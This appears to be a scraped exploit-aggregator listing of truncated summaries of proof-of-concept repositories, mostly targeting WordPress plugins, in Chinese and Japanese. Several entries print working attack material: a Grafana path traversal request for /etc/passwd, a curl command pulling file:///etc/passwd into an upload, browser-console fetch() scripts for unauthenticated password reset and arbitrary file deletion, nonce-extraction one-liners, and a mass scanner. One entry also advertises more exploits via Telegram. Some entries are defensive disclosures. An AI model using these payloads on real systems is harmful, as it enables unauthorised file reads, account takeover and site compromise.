CVE-2021-43798-Grafana-File-Read

Grafana-File-Read Grafana未授权文件读取 影响版本：8.0.0-lastest poc: /public/plugins/icon/../../../../../../../../../../../../../../../../../../etc/passwd root@kitploit: GET /public/plugins/icon/../../../../../../../../../../../../../../../../../../etc/passwd HTTP/1.1 Host: 127.0.0.1:3000 User-Agent:...

Mass-Scanner-CVE-2026-1405

⚡ Mass-Scanner-CVE-2026-1405 用于 CVE-2026-1405 的简洁 WordPress 批量扫描器 🧠 概述 一个简洁轻量的扫描器，用于检查多个 WordPress 目标是否存在 CVE-2026-1405 漏洞暴露。 其重点包括： 快速多目标扫描 简洁的终端输出 简单的结果分类 便于批量目标文件使用 ✨ 功能特性 ⚡ 快速批量扫描 🎯 CVE-2026-1405 检测器 🧵 多线程处理 🌐 自动目标规范化 🔁 HTTPS 到 HTTP 回退 🧹 整洁的输出布局 📄 将结果保存到文件 🎨 使用 rich 的美化终端界面 🔍 检测逻辑...

CVE-2026-3844

CVE-2026-3844 Breeze Cache ≤ 2.4.4 - 未认证的任意文件上传 ⚠️ 免责声明 root@kitploit: 本工具仅供教育和安全研究目的使用。 未经授权访问计算机系统是违法的。请仅在您拥有或获得明确测试许可的系统上使用本工具。 作者对本软件的任何滥用或造成的损害不承担任何责任。 📋 描述 CVE-2026-3844 是 WordPress 的 Breeze Cache 插件（版本 ≤ 2.4.4）中的一个严重未认证任意文件上传漏洞。该插件未能正确验证评论中的 srcset 参数，允许远程攻击者向服务器上传恶意文件（包括 WebShell）。 🔴 严重性...

CVE-2026-44024_exploit

CVE-2026-44024——Fluentd outfile $tag 路径遍历导致的任意文件写入 未认证的任意文件写入存在于 Fluentd 的 outfile 插件中，通过 $tag 占位符触发。 outfile 允许运维人员使用 $tag 占位符来模板化输出路径（例如 path /var/log/fluent/$tag）。Outputextractplaceholders（lib/fluent/plugin/output.rb）会将事件的标签替换到路径中，且不清理../（CWE-22）： root@kitploit: if str.include?'$tag' rvalue =...

CVE-2026-4106

CVE-2026-4106: WordPress HT Mega 未認証PII開示エクスプロイト CVE-2026-4106 のための堅牢なマルチスレッド概念実証 PoC エクスプロイトで、WordPress 用プラグイン HT Mega - Absolute Addons for Elementor （バージョン 3.0.7 未満）を標的としています。 脆弱性の概要 HT Mega プラグインは、ウィジェット用の動的コンテンツを取得するために、いくつかの wpajaxnopriv...

CVE-2025-11973

トリガー: /etc/passwd を file:// 経由で読み取り、アップロードに流出させる root@kitploit: curl -sS -A "$UA" -X POST "$BASE/?kdsflag=post" \ --data-urlencode "kdspassword=$SECRET" \ --data-urlencode "posttitle=sub1-lfi" \ --data-urlencode "kdsfeatureurl=file:///etc/passwd" 流出したファイルを取得する 保存されたファイル名を計算する root@kitploit:...

CVE-2025-9967

エクスプロイト：認証不要のOTPパスワードリセット ブラウザコンソールPoC（認証不要） root@kitploit: async = async function getNonceAndAjaxUrl if window.resetpassobj return nonce: resetpassobj.ajaxnonce, ajaxUrl: resetpassobj.ajaxurl ; const home = await fetch'http://localhost/wordpress/'.thenr = r.text; const m =...

CVE-2025-12137

1 使用当前 nonce 调用插件 REST API 的辅助函数 root@kitploit: async function iwpFetchpath, method='GET', body const nonce = window?.wpApiSettings?.nonce || jQuery?.ajaxSettings?.headers?.'X-WP-Nonce'; const res = await fetch$location.origin/wordpress/wp-json/iwp/v1$path, method, headers:...

CVE-2025-10307

エクスプロイト: Backuply による任意のファイル削除 tarfile パストラバーサル ブラウザコンソール PoC 認証済み管理者 root@kitploit: async = const page = $location.origin/wordpress/wp-admin/admin.php?page=backuply; // 1 Extract a valid nonce from the Backuply page const html = await fetchpage, credentials: 'same-origin' .thenr = r.text; const...

CVE-2025-11986

1 制限付きページから公開cryptoajax nonceを抽出する root@kitploit: UA='Mozilla/5.0 Windows NT 10.0; Win64; x64; rv:127.0 Gecko/20100101 Firefox/127.0' NONCE=$curl -s "http://localhost/wordpress/" -A "$UA" | \ perl -0777 -ne 'print "$1\n" if /cryptoconnectChainAjax\s=\s^"nonce"\s:\s"^"+"/s' Fallback extraction...

CVE-2026-15748

CVE-2026-15748 — Forminator Forms 未认证任意文件上传 → RCE CVSS 9.8（严重） · 受影响：Forminator = 1.56.1 · 已修复：1.56.2 研究人员：daroo（Wordfence 漏洞赏金计划，$2,048）· 约 60 万活跃安装 分析文章：wordfence.com/blog/2026/08/600000-wordpress-sites-affected-by-arbitrary-file-upload-vulnerability-in-forminator-forms-wordpress-plugin/ 根因链条...

CVE-2025-11627

抽出されたnonceを使用して、AJAXハンドラに細工したリクエストを送信します。 root@kitploit: = // 1 find the inline script that contains the AJAX URL const s = ...document.scripts.findsc = sc.textContent.includes'billminozzijserrorcatched'; if !s console.error'Script with ajax URL not found. Is wphead present?'; return; // 2 extrac...

CVE-2025-47445-PoC

CVE-2025-47445 PoC この実証コードは、脆弱性のあるWordPressプラグインを見つけ、その脆弱性をローカルの管理された環境でテストすることを目的とした学校の課題に基づいています。...

CVE-2025-14893

CVE-2025-14893：IndieWeb WordPress 插件中的已认证存储型跨站脚本（XSS）漏洞 免责声明： 此仓库仅用于教育目的和道德披露 。该漏洞已负责任地报告给供应商并已修补。请勿在未经授权的情况下利用此信息攻击系统。 执行摘要 在 IndieWeb WordPress 插件（版本 get 'tel' ; ?"get 'tel' ; ? 缺陷： 插件直接使用 echo 将用户的 tel 元数据输出到 href HTML 属性中，而未使用 escattr 进行包装。这允许攻击者提供精心构造的字符串，其中包含双引号（"）来提前关闭 href 属性，随后添加任意 HTML...

CVE-2026-9055

CVE-2026-9055 — Amelia 预订插件未认证权限提升漏洞 Sentinel AI Defense 研究文章。 仅限防御性分析——本文不发布针对该漏洞的任何可用漏洞利用代码或 PoC。 Amelia（高级版） WordPress 预订插件中存在一个未认证权限提升漏洞，允许完全没有账户的攻击者通过多步骤滥用客户/服务提供者更新端点，从匿名访客升级为完全站点管理员。 目录 概述 受影响版本 技术分析（根本原因） 攻击链（通用化） 检测指南 入侵指标 缓解措施 参考资料 免责声明 概述 CVE-2026-9055 是 WordPress 预约与活动日历预订——Amelia（高级版...

CVE-2026-3516

CVE-2026-3516: コンタクトリストプラグインにおける認証済み格納型クロスサイトスクリプティング（XSS） 免責事項: このリポジトリは教育目的および倫理的開示専用 で作成されています。本脆弱性はベンダーに責任を持って報告され、修正済みです。許可なくシステムを悪用する目的でこの情報を使用しないでください。 概要 WordPress用プラグイン Contact List - Online Staff Directory & Address Book（バージョン = 3.0.17）において、格納型クロスサイトスクリプティング（XSS）...

CVE-2026-1375

CVE-2026-1375: Tutor LMS プラグインにおける認証済み IDOR / アクセス制御の不備 免責事項: このリポジトリは教育目的および倫理的な情報開示のためにのみ 作成されています。本脆弱性はベンダーに責任を持って報告され、パッチが適用済みです。この情報を適切な許可なくシステムを悪用するために使用しないでください。 概要 Tutor LMS プラグイン（WordPress 向け、バージョン = 3.9.5）において、Insecure Direct Object Reference（IDOR）/ アクセス制御の不備（Broken Access Control）...

CVE-2026-1657

CVE-2026-1657: EventPrime プラグインにおける未認証の任意ファイルアップロード 免責事項: このリポジトリは教育目的および倫理的な開示のみ のために作成されています。本脆弱性はベンダーに責任を持って報告され、修正済みです。適切な認可なしにシステムを悪用するために、この情報を使用しないでください。 概要 EventPrime WordPress プラグイン（バージョン = 4.2.8.1）に、未認証の任意ファイルアップロード の脆弱性が発見されました。この欠陥により、未認証の訪問者であれば誰でも WordPress の uploads...

CVE-2024-51793

WordPress 计算机维修店 = 3.8115 - 未认证任意文件上传 CVE-2024-51793 WordPress 的 CRM 插件 – RepairBuddy 在所有版本（直至并包括 3.8115）中因缺少文件类型验证而存在任意文件上传漏洞。这使得未经认证的攻击者能够在受影响站点的服务器上上传任意文件，从而可能实现远程代码执行。 如需更多 WordPress 漏洞利用及独家漏洞，请通过 Telegram 联系我 @KtN1990。 用法 要运行此漏洞利用程序，你需要安装 Python 3 并准备网站列表 root@kitploit: python3 exploit.py -l...

CVE-2025-13390

CVE-2025-13390 WP Directory Kit WordPress用WP Directory Kitプラグインは、wdkgenerateautologinlink 関数における認証アルゴリズムの実装不備により、バージョン1.4.4まで（1.4.4を含む）のすべてのバージョンで認証バイパスの影響を受けます。 これは、この機能が暗号学的に弱いトークン生成メカニズムを使用しているためです。この欠陥により、未認証の攻撃者 が予測可能なトークンを使用して自動ログインエンドポイント経由で管理者アクセスを取得し、サイト全体を乗っ取る ことが可能になります。 CNA: Wordfence...